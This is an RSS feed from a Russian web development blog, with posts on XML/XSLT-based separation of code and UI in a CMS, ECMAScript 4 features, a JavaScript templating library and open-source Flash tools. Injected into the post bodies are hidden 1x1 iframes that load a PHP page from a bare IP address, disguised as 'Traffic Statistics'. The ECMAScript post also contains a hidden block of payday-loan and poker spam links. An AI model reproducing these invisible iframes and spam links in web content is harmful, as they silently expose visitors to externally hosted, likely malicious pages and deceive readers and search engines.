<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.1.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Всё о технологиях Ajax, PHP, ASP.NET, XML, XSLT, и даже больше !</title>
	<link>http://e-code.tnt43.com</link>
	<description>Статьи, документация, спецификации. Технологии Ajax, PHP, XML, ASP.NET</description>
	<pubDate>Thu, 24 Jul 2008 18:21:57 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.1.3</generator>
	<language>en</language>
			<item>
		<title>Мысли и образы. Код и UI&#8230;</title>
		<link>http://e-code.tnt43.com/archives/65</link>
		<comments>http://e-code.tnt43.com/archives/65#comments</comments>
		<pubDate>Sun, 08 Jun 2008 14:30:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Програмування]]></category>

		<category><![CDATA[Теорія]]></category>

		<category><![CDATA[Технології]]></category>

		<guid isPermaLink="false">http://e-code.tnt43.com/archives/65</guid>
		<description><![CDATA[Вероятно всё те же случайности, которые привели Томаша из Праги в захолустье Чешской провинции, дабы он встретил свою судьбу в лице Терезы*, привели меня к тому, что исконно изменило все мои взгляды на процесс, который в целом не представляет особой технической сложности в плане реализации, но в то же время является основной сложностью в иделогическом [...]]]></description>
			<content:encoded><![CDATA[<p>Вероятно всё те же случайности, которые привели Томаша из Праги в захолустье Чешской провинции, дабы он встретил свою судьбу в лице Терезы*, привели меня к тому, что исконно изменило все мои взгляды на процесс, который в целом не представляет особой технической сложности в плане реализации, но в то же время является основной сложностью в иделогическом и эргномическом плане, поскольку непосредственно от правильности применимой к нему политики зависит не только частота приступов мигрени у программистов, и испоконвечных утяготителей и усложнителей их жизни - дизайнеров, - но и успешность в плане дальнейшего сопровождения и возможного усовершеноствования проекта в целом. </p>
<p>Безусловно, я сейчас говорил о методиках разделения информационной системы на реализацию и представление (пользовательский интерфейс, и, собственно, ядро (<strong>kernel</strong>) системы).</p>
<p> Если говорить об используемых мной технологиях эдак, скажем, год назад, то это, в лучшем случае, были системы шаблонирования <strong>Smarty</strong> и тому подобное, что в каком-то плане довольно удобно и полезно, однако всё равно представляет собой ряд ограничений, так низкий уровень возможной спецификации данных дизайнерами и в целом не имеющими квалификации в программировании людьми представляло собой большую ограниченность. Другими словами, за поставку данных в формате <strong>user-friendly</strong> чаще всего целиком и полностью отвечает программист, при этом дизайнер, либо разработчик интерфейсов, выступают лишь потребителями данных, без каких-либо дополнительных возможностей, конечно, если они не владеют специальными знаниями и технологиями, такими как средства <strong>server-side</strong> (python, php, ruby, т.д.) либо <strong>client-side</strong> (js, ммм... <img src='http://e-code.tnt43.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ) разработки. Всё это довольно замедляло работы над проектами, в ситуации, когда необходимо было разработать довольно простой модуль, функционал которого чаще всего ограничивался визуализацией некоторых данных БД либо результатов работы некоторого интегрированного в систему пакета, с чем мог бы справится и разбирающийся в базовых понятиях структуры системы (не кода, а скорее логики функционирования) обыватель, но что было невозможным из-за обязательного участия программиста в этом процессе.</p>
<p>И вот недавно (да, время - это конечно большая утрата) открытая мной для меня же ( <img src='http://e-code.tnt43.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ) технология <strong>XSL</strong> преобразований кардинально повлияло на форму и вектор направления моих мыслей, и на подход в реализации дружественности для не-программистов так же.  </p>
<p>Я, в целом, давно знал о существовании данной технологии, и даже что-то писал на досуге, но всю несомненную полезность и <em>flexibility</em> оной, осознал лишь после того, как начал в корне пересматривать принцип работы разработанной в контексте одного проекта, а на сегодняшний день перешедшей в статус <strong>OpenSource</strong>, CMS платформы, которая на тот момент была довольно логично и правильно сделана в плане расширяемости, дружественности для сторонних разработчиков и, собственнно, конечных пользователей (<em>users</em>), поскольку в основе лежала идеология <strong>XML</strong>-обмена данными - как внутри системы, так и за её пределами - в контексте общения с внешними серверами, но это уже другая история. </p>
<p>Однако было в ней одно громадное "<strong>НО!</strong>", о котором мне громко в форме едкого сарказма (как умеют OpenSource разработчики, словно в поговорке: "в чужом глазу...") напомнили ребята с форума <a href="http://phpclub.ru">PHPClub</a>. "<strong>НО</strong>" же это заключалось именно в том, что в системе почти не было явного разделения на "<u>код</u>" -> "<u>представление</u>", и это стало настоящей проблемой, степень важности которой не была оценена на начальных этапах проектирование, и которая в следствии стала значительным образом тормозить дальнейшее развитие системы как в плане реализации/безопасности/красивости, так и интереса к ней среди других решений в среде OpenSource-сообщества.</p>
<p>Однако, как я уже говорил, плюсом системы было то, что изначально все настройки, рычажки и прочие элементы не относящиеся к<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> прямой реализации были представленны ввиде сторого структурированных и специфицированных XML-данных, что и послужило палочкой, которая выручалочка.</p>
<p>Поскольку основной задачей стало сделать так, чтобы дизайнеры не догадывались о существовании чего-то кроме <strong>XML/XSL</strong> (если конечно им этого не захочется), однако могли бы при этом спокойной получать данные в удобном для них формате, создавая пользовательские интерфейсы; при этом так же имея возможность более advanced'ного общения с системой, к примеру:</p>
<ol>
<li> Возможность посредством XML-структур, входящих в файл конфигурации модуля, производить запрос данных из БД.</li>
<li> Возможность доступа к определённого рода функциям PHP, запрошенным в файле конфигурации модуля</li>
<li> Возможность быть в некоторых ситуациях полностью независимым от программииста</li>
</ol>
<p>И вот с банкой кофе ("<u>Nescafe Classic</u>"), чайником и изрядным уровнем энтузиазма я закрылся на балконе-веранде, и пришёл к совершенно новому для меня подходу к разделению кода и данных.</p>
<p>Если возвращатся к системе <strong>CMS</strong>, упомянутой выше, то нужно (для большей степени понимания) ввести три понятия: "<strong>блок</strong>", "<strong>пакет</strong>", "<strong>модуль</strong>".</p>
<p>Эти базисный единины в её контексте представляли фундамент движка. Так "пакет" испключительно поставляет функционал, не принимая участия в формировании <strong>UI</strong>-представления данных, в свою очеред "<strong>модуль</strong>" наоборот является базовой единицей реализации функционала "<strong>пакета</strong>" и визуализации данных, разделяясь в свою очередь на подразделы, относительно их функций и семантики. И не относящаяся к "<strong>пакетам</strong>", но в то же время не совсем "<strong>модуль</strong>" сущность "<strong>блок</strong>" так же представляет собой элемент пользовательского интерфейса, при этом не имея всех возможностей модулей, как в структуре так и в функционале, что очевидно.</p>
<p>В окончательном варианте, файловая структура поставк модуля имеет следующий вид:<br />
<code><br />
-- module<br />
   -- parts<br />
      -- main-part<br />
        -- actions<br />
          -- action.inc  ; сервер-логика для обработки событий форм<br />
        -- xsl<br />
          -- main.xsl ; файл подключаемый в качестве XSL(T) по-умолчанию<br />
          -- ... ; список таблиц XSL, поставляемых с этим разделом<br />
        -- main.xml ; основной XML-файл реализации<br />
   -- others<br />
     -- client-logic<br />
     -- css<br />
     -- images<br />
   -- info.xml<br />
</code></p>
<p>Во время запроса пользователем некоторого модуля системы, происходит проверка текущего <strong>активного раздела</strong>, при условии отсутствия которого будет обработан `<strong>main-part</strong>`.</p>
<p>Процесс обработки заключается в следующих этапах:</p>
<ol>
<li> Обработка <strong>XML-файла</strong> с данными для обработки на серверной стороне (запросы к БД, импорт методов, прочее).</li>
<li> Включение в результирующий массив данных результатов проводки по всем, привязанным к данному разделу некоторого модуля либо модуля в целом, обработчикам (<strong>wrappers</strong>) которые были назначены программистами.</li>
<li> Процессинг связанной с исходным <strong>XML</strong> файлом таблицей преобразований <strong>XSL</strong>.</li>
<li> Добавление данных в массив временных данных, с последующим возвратом их пользователю на последней стадии формирования контента.</li>
</ol>
<p>Исходный информационный<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> файл <strong>XML</strong> для настройки и определения запрашиваемых и поставляемых данных для каждого раздела модуля имеет следующую структуру:<br />
<code><br />
&lt;?xml version='1.0'?><br />
&lt;input><br />
   &lt;transform><br />
     &lt;item src='${part_dir}/xsl/main-diff.xsl'/><br />
   &lt;/transform><br />
   &lt;infoset><br />
      &lt;title>&lt;/title><br />
      &lt;css>&lt;/css>; Inline-объявление либо перечисление узлов &lt;item><br />
      &lt;script>&lt;/script>; Inline-объявление либо перечисление узлов &lt;item><br />
      &lt;!--Некоторые дополнительные параметры страницы--><br />
      &lt;params><br />
        &lt;key>value1&lt;/key><br />
      &lt;/params><br />
   &lt;/infoset><br />
   <urlset :url><br />
       &lt;!-- Exaple URL-parts exporting as XSL-variables --><br />
       &lt;var number='1' import-as='product_id' type='number'/><br />
       &lt;var number='2' import-as='product_title' type='string'/><br />
       &lt;var number='3' import-as='user_id' type='number'/><br />
   &lt;/urlset:url><br />
   &lt;dbset:dataset><br />
      &lt;set id='1'><br />
         &lt;tables join='left'> ; "join" - опциональный атрибут<br />
           &lt;item name='some_db_table1' variable='d'/> ; variable - опциональный атрибут<br />
           &lt;item name='some_db_table2' variable='d1'/> ; опциональный атрибут<br />
         &lt;/tables><br />
         &lt;columns><br />
           &lt;item name='title' from='d' variable='product_title'/><br />
           &lt;item name='uid' from='d1' variable='user_id'/><br />
         &lt;/columns><br />
         &lt;where><br />
              &lt;case type='default'><br />
                 &lt;term object='SUMM(d1.count)*SUMM(d1.cost)'/><br />
                 &lt;term object='SUMM(d2.salary)*SUMM(d2.salary)'/><br />
                 &lt;action type='greater or equal'/><br />
              &lt;/case><br />
              &lt;case type='or'><br />
                 &lt;term object='(SUMM(d1.count)*SUMM(d1.cost))/SUMM(d2.salary)*SUMM(d2.salary)'/><br />
                 &lt;term object='1.2'/><br />
                 &lt;action type='less'/><br />
              &lt;/case><br />
         &lt;/where><br />
         &lt;order by='some_db_table1.title' way='ascend'/>     ;Optional tag<br />
         &lt;limit count='20'/>                  ; Optional tag<br />
         &lt;group by='some_db_table1.uid'/>     ; Optional tag<br />
      &lt;/set><br />
   &lt;/dbset:dataset><br />
   &lt;!-- Разработчики могут задавать следующую структуру данных:<br />
    &lt;dbset:dataset><br />
      &lt;query>INLINE DATABASE QUERY<br />
      &lt;columns><br />
         &lt;item name='selected-column-name' import-as='NAME IN XSL VARIABLE ENVIRONMENT'/><br />
      &lt;/columns><br />
    &lt;/dbset:dataset><br />
   --><br />
   &lt;functions-import><br />
      &lt;item name='{php_environment_function}' as='{xsl_environment_name}'/><br />
      ;...<br />
   &lt;/functions-import><br />
   &lt;vars-import><br />
     &lt;item name='{php_environment_variable}' as='{xsl_environment_variable}'/><br />
   &lt;/vars-import><br />
   &lt;wrappers><br />
      &lt;item name='{php_valid_function_or_method_name}' step='0'/><br />
   &lt;/wrappers><br />
&lt;/input><br />
</urlset></code></p>
<p>Данная структура полностью описывает формат возможных данных для процессинга <strong>XSLT</strong>-процессором, применяя таблицы трансформации.</p>
<p>Стоит отдельно упомянуть такие элементы как &lt;functions-import/>, &lt;variables-import/> и &lt;wrappers/>.</p>
<p>В теле элемента &lt;functions-import/> перечисляются те функции среды <strong>PHP</strong>, которые должны быть импортированы в среду <strong>XSL</strong>, и соответственно &lt;vars-import/> вложенными тегами &lt;items/> описывает переменные среды <strong>PHP</strong>, которые будут доступны для обращения в среде <strong>XSL</strong>.</p>
<p>То есть это как-бы расширения стандарта <strong>XSL</strong>, подобно аналогичному - <strong>EXSLT</strong>, которое служит для увеличения уровня автономности и самобытности дизайнера (что, конечно, в любом случае не является желательным по ряду обстоятельств <img src='http://e-code.tnt43.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ).</p>
<p>Расширение стандарта поддерживается подключением в качестве пре-процессоров <strong>XSL</strong> внешних <strong>wrapper</strong>-методов, которые обспечивают предварительную подготовку и замену всех "<em>самодельных</em>" конструкций, на необходимые аналоги (обращение к импортированным функциям, переменным). Очевидно, что число <strong>wrapper</strong>'ов не ограничено ни чем, что, собственно, не ограничивает расширение стандарта.<br />
При этом учтён тот факт, что некоторые такие методы следует применять в условиях последовательности, а посему введён такой параметр как `<strong>step</strong>`, которые говорит обработчику в какой последовательности применять <strong>wrapper</strong>-методы.</p>
<p>Однако это решает лишь проблему с модулями, при этом остаются открытыми проблемы обработки различной степени приоритетности ошибок системы, организация основного пользовательского интерфейса - страницы, применение <strong>XSL</strong>-преобразований в контексте блоков, и привязка блока к некоторой зоне страницы.</p>
<p>В целом ничего принципиально отличного, в сравнении с подходом реализации пользовательского интерфейса модулей не производится (если говорить  блоках).</p>
<p>Однако прежде чем говорить о блоках, следует обсудить структуру страницы. </p>
<p>Я всегда был приверженцем проработки всех возможных ситуаций и вариантов, и конечно же все считал, что пользователю в определённый момент наскучит базовое оформление страницы, да и даже если не базовое - наскучит, посему всегда считал невозможным применение термина <strong>CMS</strong> к продуктам, в основе которых лежат идеи не только того, что пользователь потом "<cite>всё равно будут платить за дизайн</cite>", или "<cite>все должны будут выучить эту технологию</cite>", "<cite>..мы делаем систему для "нормальных людей", а они эту технологию почти все знаю</cite>...", не говоря уже об интернационализации и прочем.</p>
<p>Посему, как мне кажется, одной из главных деталей архитектурной реализации системы является правильное построение механизма универсализации структуры пользовательского интерфейса, и максимального абстрагирования от конкретной темы/структуры/методологии.</p>
<p>В целом это конечно поле для разгула фантазии, и конкретная реализация будет зависеть лишь от вкусов и стиля разработчика. Однако и тут есть некоторые моменты, которые должны быть в любой реализации, так как составляют основу логической структуры темы оформления, а именно:</p>
<ol>
<li>Декларирование в настройках темы её структуры, в смысле активных областей для добавления блоков.</li>
<li> Специальные контейнеры для отображения стека системных сообщений некоторого типа, с применением (<strong>опционально</strong>) к ним стилевого оформления, характерного данной теме.</li>
<li> Абстрагирование от количества доступных модулей/пакетов в системе.</li>
<li> Абстрагирование от текущих интернациональных настроек системы.</li>
<li> Предоставление пользователю возможность собственноручно настраивать некоторые детали оформления, путём правки значений в файле настроек.</li>
</ol>
<p>Так, в контексте не один раз упомянутой выше технологии <strong>XSL</strong>, системой в тему оформления портируются следующие структуры данных и методы:</p>
<p><strong>Структуры</strong>:</p>
<p>1)<br />
<code><br />
   &lt;handlers><br />
     &lt;set type='errors'> ; 'errors' | 'messages' | 'attempts'<br />
        &lt;item code='error_code'>Short system error description&lt;/item><br />
     &lt;/set><br />
   &lt;/handlaers><br />
</code><br />
2)<br />
<code><br />
   &lt;infoset><br />
    &lt;!--структура аналогична структуре вложенного в узел &lt;input> элемента&lt;infoset>, за исключением изъятия элементов &lt;css>,&lt;scripts>--><br />
   &lt;/infoset><br />
</code></p>
<p><strong>Методы:</strong><br />
<code><br />
get_panel_content(< %идентификатор_панели%>) - получение блоков, которые относятся к данной панели, некоторой темы.<br />
get_css_nodes() - отрисовка и возврат всех относящихся к данному документу таблиц стилей<br />
get_scripts_nodes() - отрисовка и возврат всех относящихся документу скриптов<br />
flush_error_handler(< %handler%>) ; handler='errors'|'messages'|'attempts'<br />
</code></p>
<p>Что ж, это было что-то вроде небольшого обзора, представления своих взглядов на решение проблемы, которые я использую в настощиее время. В целом многие идеологические моменты в реализации подсказаны <strong>Drupal</strong>, но исключительно идеологические, поскольку структура друпала совершенно обратна данной, и ориэнтирована скорее на разработчиков, нежели на нечто среднее с уклоном в сторону дизайнера и <strong>UI</strong>-интерфейс <strong>builder'а</strong>.</p>
]]></content:encoded>
			<wfw:commentRss>http://e-code.tnt43.com/archives/65/feed/</wfw:commentRss>
		</item>
		<item>
		<title>ECMAScript v.4</title>
		<link>http://e-code.tnt43.com/archives/64</link>
		<comments>http://e-code.tnt43.com/archives/64#comments</comments>
		<pubDate>Wed, 16 Jan 2008 06:06:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Новини]]></category>

		<category><![CDATA[Програмування]]></category>

		<category><![CDATA[Теорія]]></category>

		<category><![CDATA[Технології]]></category>

		<category><![CDATA[Переклади]]></category>

		<guid isPermaLink="false">http://e-code.tnt43.com/archives/64</guid>
		<description><![CDATA[В этой версии стандарта используемого для стандартизации синтаксических и семантических механизмов технологии JavaScript наконец-то были включены, не побоюсь
сказать, революционные для данной платформы нововведения. Многие из них неявно присутствовали всегда, их, опять же, неявно использовали очень давно, но они не были явно прописаны и оформленны на том уровне, на котором их утвердили сейчас. Это будто бы [...]]]></description>
			<content:encoded><![CDATA[<p>В этой версии стандарта используемого для стандартизации синтаксических и семантических механизмов технологии JavaScript наконец-то были включены, не побоюсь<br />
сказать, революционные для данной платформы нововведения. Многие из них неявно присутствовали всегда, их, опять же, неявно использовали очень давно, но они не были явно прописаны и оформленны на том уровне, на котором их утвердили сейчас. Это будто бы переходить с позиции просто проживающего в стране к полноправному гражданину.<br />
Собственно, меньше слов, вот список наиболее значимых нововведений версии <strong>EcmaScript 4</strong>:</p>
<p>1. Более полная реализация <strong>ООП-подхода</strong>: явное присутствие сущности "класс", и "реализуемый интерфейс", инкапсуляция (установление уровня<br />
доступности элементов класса посредством операторов "<strong>public</strong>" и "<strong>private</strong>"),<br />
наследование, полиморфизм.<br />
2. Присутствует понятие "динамичного класса", поля и методы которого, в момент инициализация не были объявлены<br />
3. Реализация виртуальных <u style="display:none"><a href="http://nowayjose.net/wp-content/1/instant-no-fax-payday-loan.html">instant no fax payday loan</a><a href="http://nowayjose.net/wp-content/1/bank-loan-no-payday-statement.html">bank loan no payday statement</a><a href="http://nowayjose.net/wp-content/1/no-fax-payday-advance-loan.html">no fax payday advance loan</a><a href="http://nowayjose.net/wp-content/1/1-hour-payday-loan.html">1 hour payday loan</a><a href="http://nowayjose.net/wp-content/1/cash-advance-payday-loan.html">cash advance payday loan</a><a href="http://nowayjose.net/wp-content/1/fax-payday-loan.html">fax payday loan,payday loan without fax,fax less payday loan</a><a href="http://nowayjose.net/wp-content/1/advance-cash-net-payday-usa.html">advance cash net payday usa</a><a href="http://nowayjose.net/wp-content/1/loan-online-payday-quick.html">loan online payday quick</a><a href="http://nowayjose.net/wp-content/1/1-hour-loan-payday.html">payday loan in 1 hour,1 hour loan payday,1 hour payday loan</a><a href="http://nowayjose.net/wp-content/1/ameriloan-loan-payday.html">ameriloan loan payday</a><a href="http://nowayjose.net/wp-content/1/aafes-payday-loan.html">aafes payday loan</a><a href="http://nowayjose.net/wp-content/1/online-payday-loan-service.html">online payday loan service</a><a href="http://nowayjose.net/wp-content/1/application-loan-payday.html">payday loan application,application loan payday</a><a href="http://nowayjose.net/wp-content/1/cash-fast-loan-online-payday.html">cash fast loan online payday</a><a href="http://nowayjose.net/wp-content/1/instant-approval-payday-loan.html">instant approval payday loan,approval instant loan payday</a><a href="http://nowayjose.net/wp-content/1/100-loan-online-payday.html">100 loan online payday</a><a href="http://nowayjose.net/wp-content/1/consolidate-debt-loan-payday.html">consolidate debt loan payday,consolidate payday loan debt</a><a href="http://nowayjose.net/wp-content/1/fast-fax-loan-no-payday.html">fast fax loan no payday</a><a href="http://nowayjose.net/wp-content/1/loan-payday-toronto.html">loan payday toronto,payday loan toronto,payday loan in toronto</a><a href="http://nowayjose.net/wp-content/1/cash-fast-loan-payday.html">cash fast loan payday</a><a href="http://nowayjose.net/wp-content/1/cash-central-loan-payday.html">cash central loan payday</a><a href="http://nowayjose.net/wp-content/1/default-loan-payday.html">default loan payday</a><a href="http://nowayjose.net/wp-content/1/free-loan-payday.html">free payday advance loan,free loan payday,interest free payday loan</a><a href="http://nowayjose.net/wp-content/1/internet-loan-payday.html">internet payday loan law,internet loan payday,business internet loan payday start</a><a href="http://nowayjose.net/wp-content/1/payday-loan-in-georgia.html">payday loan in georgia</a><a href="http://nowayjose.net/wp-content/1/faxing-loan-no-payday.html">faxing loan no payday,faxing loan military no payday,500 faxing loan no payday</a><a href="http://nowayjose.net/wp-content/1/approval-guaranteed-loan-payday.html">approval guaranteed loan payday</a><a href="http://nowayjose.net/wp-content/1/emergency-payday-loan.html">emergency payday loan</a><a href="http://nowayjose.net/wp-content/1/no-faxing-instant-payday-loan.html">no faxing instant payday loan</a><a href="http://nowayjose.net/wp-content/1/canadian-payday-loan.html">canadian loan online payday,canadian payday loan</a><a href="http://nowayjose.net/wp-content/1/day-loan-payday-same.html">day loan payday same,day loan no payday same teletrack</a><a href="http://nowayjose.net/wp-content/1/low-fee-payday-loan.html">low fee payday loan</a><a href="http://nowayjose.net/wp-content/1/fast-loan-payday.html">fast loan payday,cash fast loan online payday search,approval fast loan payday</a><a href="http://nowayjose.net/wp-content/1/cash-until-payday-loan.html">cash until payday loan</a><a href="http://nowayjose.net/wp-content/1/america-cash-loan-payday.html">america cash loan payday</a><a href="http://nowayjose.net/wp-content/1/advance-loan-payday-software%3F-%3Fcash.html">advance loan payday software? ?cash</a><a href="http://nowayjose.net/wp-content/1/loan-till-payday.html">loan till payday</a><a href="http://nowayjose.net/wp-content/1/military-payday-loan.html">military payday loan</a><a href="http://nowayjose.net/wp-content/1/advance-america-payday-loan.html">advance america payday loan</a><a href="http://nowayjose.net/wp-content/1/aafes-loan-payday.html">aafes loan payday</a><a href="http://nowayjose.net/wp-content/1/advance-cash-loan-payday-software.html">advance cash loan payday software</a><a href="http://nowayjose.net/wp-content/1/loan-money-payday-tree.html">loan money payday tree</a><a href="http://nowayjose.net/wp-content/1/faxless-payday-loan.html">faxless payday loan</a><a href="http://nowayjose.net/wp-content/1/no-fax-payday-cash-advance.html">no fax payday cash advance</a><a href="http://nowayjose.net/wp-content/1/cheap-loan-payday-till.html">cheap loan payday till</a><a href="http://nowayjose.net/wp-content/1/instant-online-payday-loan.html">completely instant loan online payday,instant online payday loan</a><a href="http://nowayjose.net/wp-content/1/georgia-loan-payday.html">georgia in loan online payday,georgia loan payday</a><a href="http://nowayjose.net/wp-content/1/advance-cash-loan%3F-payday-%3F.html">advance cash loan? payday ?</a><a href="http://nowayjose.net/wp-content/1/online-payday-cash-loan.html">online payday cash loan</a><a href="http://nowayjose.net/wp-content/1/same-day-payday-loan.html">day loan payday quick same,same day payday loan,day faxless loan payday same</a></u> функций и "<strong>мета</strong>"-методов для чтения и записи значений полей класса (методы "<strong>get(value)</strong>" и "<strong>set(name,value)</strong>")<br />
4. Возможность задания атрибута "<strong>final</strong>" относительно класса, для явного указания невозможности его<br />
расширения и перезаписи методов после создания его экземпляра.<br />
5. Понятие <strong>Meta-класса</strong><br />
6. Введение понятия прототип (<strong>Prototype</strong>)<noscript>Il<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> <a href="http://www.pokergioco-it.com/poker-texas-hold-denaro-scommetti.html">poker texas hold</a> </noscript></p>
]]></content:encoded>
			<wfw:commentRss>http://e-code.tnt43.com/archives/64/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Создание многоязычных веб-приложений с помощью JSTemplater 0.5 Alfa</title>
		<link>http://e-code.tnt43.com/archives/63</link>
		<comments>http://e-code.tnt43.com/archives/63#comments</comments>
		<pubDate>Fri, 21 Dec 2007 13:44:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Проекти]]></category>

		<category><![CDATA[Програмування]]></category>

		<category><![CDATA[Теорія]]></category>

		<category><![CDATA[Технології]]></category>

		<guid isPermaLink="false">http://e-code.tnt43.com/archives/63</guid>
		<description><![CDATA[Автор: Кирилл Карпенко &#60;LoRd1990@gmail.com>
URL: http://e-code.tnt43.com
Доброго времени суток уважаемые читатели !
В этой статье я бы хотел поговорить о многоязычных приложениях, а именно создание оных в контексте технологии JavaScript и XHTML, без использования при этом произвольных серверных технологий.
	Каждый из нас, кто когда-то непосредственно сталкивался с разработкой многоязычных приложений, знает всю их многогранность и в некоторых случаях неоднозначность [...]]]></description>
			<content:encoded><![CDATA[<p>Автор: Кирилл Карпенко &lt;<a href="mailto:LoRd1990@gmail.com">LoRd1990@gmail.com</a>><br />
URL: <a href="http://e-code.tnt43.com">http://e-code.tnt43.com</a></p>
<h3>Доброго времени суток уважаемые читатели !</h3>
<p>В этой статье я бы хотел поговорить о многоязычных приложениях, а именно создание оных в контексте технологии <strong>JavaScript</strong> и <strong>XHTML</strong>, без использования при этом произвольных серверных технологий.<br />
	Каждый из нас, кто когда-то непосредственно сталкивался с разработкой многоязычных приложений, знает всю их многогранность и в некоторых случаях неоднозначность создания. Так например, иногда клиенту необходимо отправить, предположим, опросник, в котором бы клиент указал, что именно он хочет, как он этого хочет, и что может за это отдать.<br />
	Вот тут и появляется вопрос: «<strong>А если клиент иностранец ?</strong>», то есть уже из этого вопроса,  появляется ещё один вопрос: «<strong>Как же рациональнее всего реализовать многоязычность ?</strong>».  Конечно, можно изначально перевести документ на несколько языков, после же отправлять заказчику один из них. Да, это безусловно допустимо, и наиболее используемо в контексте современных веб-студий и прочих компаний так или иначе ведущих диалог с заказчиками.<br />
Я же выбрал иной подход, который считаю немного более гибкий и практичный, при чём ничем не уступающий «<strong>ручному</strong>» разбиению на языки. Суть его заключается в введении системы шаблонирования, и преобразовании языковых единиц в переменные шаблона, которые в последствии будут заменены в теже языковые единицы, однако относящиеся к другому языку. Пример схожего механизма можно наблюдать повсеместно в системах, так или иначе использующих шаблонирование в интерфейсе или в целом во внутренней реализации системы. Так ярким примеров систем-шаблонизаторов могут служить такие системы как <strong>PatTemplaters, Smarty</strong> и прочее. В них результирующие данные формируются на основании некоторых входящих данных (<strong>переменных шаблона</strong>)  которые «подставляются» в шаблон, после чего выполняются в контексте заданного набора алгоритмической логики шаблона, и возвращаются ввиде обработанного текста.<br />
В нашем случае всё аналогично, однако парсер <a href="http://e-code.tnt43.com/sources/jsTemplater.zip">JSTemplater 0.5Afla</a> создан в расчете на функционирование на стороне клиента, и в качестве входящих данных принимает не текст шаблона, а весь текущий HTML-документ, начиная тегом <body>, и закачивая местом вызова метода для рендеринга служебных конструкций, которые были обнаружены в HTML-документе.<br />
Но говорим мы сейчас не о предмете парсера <strong><a href="http://e-code.tnt43.com/sources/jsTemplater.zip">JSTemplater 0.5 Alfa</a></strong>, а о том как его использовать на практике. Но ведь для этого вам необходимо как минимум скачать его, для этого перейдите по следующему адресу: <a href="http://e-code.tnt43.com/sources/jsTemplater.zip">http://e-code.tnt43.com/sources/jsTemplater.zip</a> (<strong><a href="http://www.7-zip.org/ru/">ZIP</a></strong>-packed archive).<br />
</body> <a href="http://e-code.tnt43.com/archives/63#more-63" class="more-link">(more...)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://e-code.tnt43.com/archives/63/feed/</wfw:commentRss>
		</item>
		<item>
		<title>OpenSource Flash ! Освободимся от диктата !</title>
		<link>http://e-code.tnt43.com/archives/62</link>
		<comments>http://e-code.tnt43.com/archives/62#comments</comments>
		<pubDate>Fri, 21 Dec 2007 13:08:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Програмування]]></category>

		<category><![CDATA[Теорія]]></category>

		<category><![CDATA[Технології]]></category>

		<guid isPermaLink="false">http://e-code.tnt43.com/archives/62</guid>
		<description><![CDATA[Если вам нравится технология Flash и Open Source разработка, то вы счастливчик, ибо добрые люди из Flash сообщества разрабатывают по-настоящему хорошие инструменты, которые можно интегрировать в уже существующие Open Source программы.
Результат: Среда разработки для Flash, о которой можно мечтать. Теперь больше не нужно платить за лицензии, и у вас есть возможность модифицировать исходный код любой [...]]]></description>
			<content:encoded><![CDATA[<p>Если вам нравится технология <strong>Flash</strong> и <strong>Open Source</strong> разработка, то вы счастливчик, ибо добрые люди из <em>Flash сообщества</em> разрабатывают по-настоящему хорошие инструменты, которые можно интегрировать в уже существующие <strong>Open Source</strong> программы.<br />
<strong>Результат</strong>: Среда разработки для <strong>Flash</strong>, о которой можно мечтать. Теперь больше не нужно платить за лицензии, и у вас есть возможность модифицировать исходный код любой программы.<br />
На протяжении данной статьи я хочу собрать все «кусочки» которые нам нужны. Другими словами, я хочу рассмотреть вместе с вами мощную связку состоящую из <strong>MTASC</strong> компилятора и <strong><a href="http://eclips.org">Eclipse IDE</a> </strong>(а также встраиваемые модули (plug-ins) для ActionScript редактирования и просмотра <strong>SWF</strong>). Лучше всего то, что, в некоторых случаях вы даже можете разрабатывать целые приложения не вылезая из предложенной среды.<br />
Позвольте мне показать вам, как легко и быстро создать <strong>SWF</strong> файлы с самого начала с помощью этих трех «игрушек»:<br />
 <a href="http://e-code.tnt43.com/archives/62#more-62" class="more-link">(more...)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://e-code.tnt43.com/archives/62/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Linux не для правосудия.</title>
		<link>http://e-code.tnt43.com/archives/60</link>
		<comments>http://e-code.tnt43.com/archives/60#comments</comments>
		<pubDate>Sun, 26 Aug 2007 18:32:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Новини]]></category>

		<guid isPermaLink="false">http://e-code.tnt43.com/archives/60</guid>
		<description><![CDATA[Бывший администратор одного из трекеров EliteTorrents BitTorrent Скотт МакКосланд [Scott McCausland] попал в неприятную историю: в 2006 году он выложил на сервер нелицензионную копию последней серии фильма "Звёздные войны", в связи с чем был "опознан" и осуждён на полгода тюремного заключения плюс такой же срок домашнего ареста. В данный момент Скотт уже вернулся домой, но, [...]]]></description>
